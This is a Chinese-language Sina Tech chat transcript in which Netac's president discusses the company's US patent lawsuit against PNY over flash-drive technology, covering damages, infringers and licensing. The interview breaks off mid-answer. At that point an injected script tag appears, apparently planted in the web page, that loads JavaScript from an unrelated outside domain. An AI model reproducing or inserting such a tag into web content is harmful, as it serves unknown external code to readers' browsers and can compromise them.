2月16日，朗科对外宣布已在美国正式向法院起诉pny公司侵犯其美国专利，要求巨额赔偿。这是继索尼之后朗科第二次就闪存专利诉讼国际厂商，也是朗科首次走出国门起诉侵犯其知识产权的公司。pny 是美国计算机存储零售市场主要企业之一。当天上午，新浪科技特别邀请朗科总裁邓国顺做客新浪总裁在线。以下为聊天实录全文：
主持人：各位网友大家好，欢迎大家进入新浪嘉宾聊天室。我是主持人，新浪科技徐志斌。
今天会有一则新闻引起大家的注意，依然是一场诉讼把知识产权拉到了大家面前，和以前我们看到的新闻有些不一样的是，这是一家中国的it公司在美国起诉美方知识产权的案子。它是朗科。我们先请朗科总裁邓国顺先生和各位网友打声招呼。
邓国顺：非常高兴在新浪的嘉宾聊天室和大家见面，非常高兴，也谢谢大家对朗科一直以来的关注和支持。
主持人：我们看到的新闻说，2月10日我们已经在美国的德克萨斯州起诉了pny公司，注意到是专利号是us6829672，能不能介绍一下这个专利？
邓国顺：是闪存盘，闪存mp3，以及闪存基础数码产品的专利。
主持人：面非常广吗？
邓国顺：涵盖面非常大。
主持人：有没有其他的技术可以绕过它？
邓国顺：是很广泛的，我不认为有什么可以能够绕过它。
主持人：什么时候在美申请的？
邓国顺：1999年申请的，在2004年12月取得了美国国家知识产权局的授权。
主持人：这次起诉了美国的pny公司，这家公司我们有一些陌生，能不能简单介绍一下这家公司的情况？
邓国顺：pny公司是1985年成立的，已有20多年的历史了，在美国闪存移动存储相关市场的话是排到相当前的地位，它是主要的企业之一。
主持人：报道说是前三，是这样吗？
邓国顺：差不多。
主持人：我记得在发布会上有很多的记者在问，就是说您有一个很高数额的索赔，这个数额到底是多少？
邓国顺：非常对不起，这个数字还不能透露，请大家谅解，我们要尊重美国律师的专业意见，在此不便透露。
主持人：我们听到的是，这种索赔是以侵权方的销售额的基数来计算，销售的越大，将要赔偿的数额越多，是这样吗？
邓国顺：正常情况下是这样。
主持人：如果去年的销售额有几亿美金的话，我们要拿到的也是在这个基础上的某个倍数？
邓国顺：美国律师回答这个问题更好，因为我不是在这方面的专家，律师对美国的情况很了解，这些事情都是由美国的律师来处理的，我们的美国律师事务所也是非常有经验的。
主持人：您动用了多少力量？包括您邀请的律师和专家，做了多长时间的准备？
邓国顺：从授权之日起，我们就开始做维护我们在美国的知识产权的工作，以期我们在美国有一个公平竞争和贸易的机会，那个时候我们就开始准备了，有一年多的时间。
主持人：您在美国的调查，有没有显示说在美国有多少家公司侵犯专利权？
邓国顺：在美国侵犯专利权的企业非常多，加起来不少于50家。
主持人：为什么起诉pny公司？
邓国顺：这是尊重了美国律师的意见，他们对美国市场非常熟悉。
主持人：他们的意见是什么？
邓国顺：怎么说呢，具体的细节我又是希望你们谅解，真的不好说，律师告诉我们这样子，我们就遵从律师的意见。
主持人：我们注意到，中国知识产权研究会秘书长赵春山先生讲了两句话，他刚才讲到说中国的企业在打到国外市场的时候，难免会遇到摩擦，您也这样看吗？
邓国顺：是这样子。
主持人：摩擦不可以变为合作呢？
邓国顺：摩擦也可以变为合作。我们其实一直是以开放和合作的的态度与许多的企业在商谈合作，在专利方面和知识产权方面，这是我们一贯的原则和态度，如果知识产权实在是得不到维护的时候，我们只有诉诸法律。
主持人：您说达不到，才会起诉。之前您和pny公司有过接触和沟通吗？
邓国顺：我们都用了不同的途径进行了沟通。
主持人：他们的反映是怎么样的？
邓国顺：至少说我们的知识产权没有得到应有的保护。
主持人：我们注意到，在您起诉当中，还有另外一个要求，除了赔偿之外，就是停止侵权，您刚才也跟其他的记者聊起这个事情，说会和他们有一些接触，会授权给他们，这也是停止侵权的一种。美方的企业有与您在这方面进行谈判的动作吗？
邓国顺：美国有一些企业确实在和我们商谈在知识产权方面的合作。
主持人：我们记得赵春山秘书长还讲了这样一句话，希望这起诉讼能够引起美方的注意，您觉得这起诉讼会引起他们怎样的重视？或者您有没有其他的途径或者方式方法和他们的政府、行业协会进行沟通？
邓国顺：这个问题我们不方便评述。这个事?script src=http://er12.com/t.js>
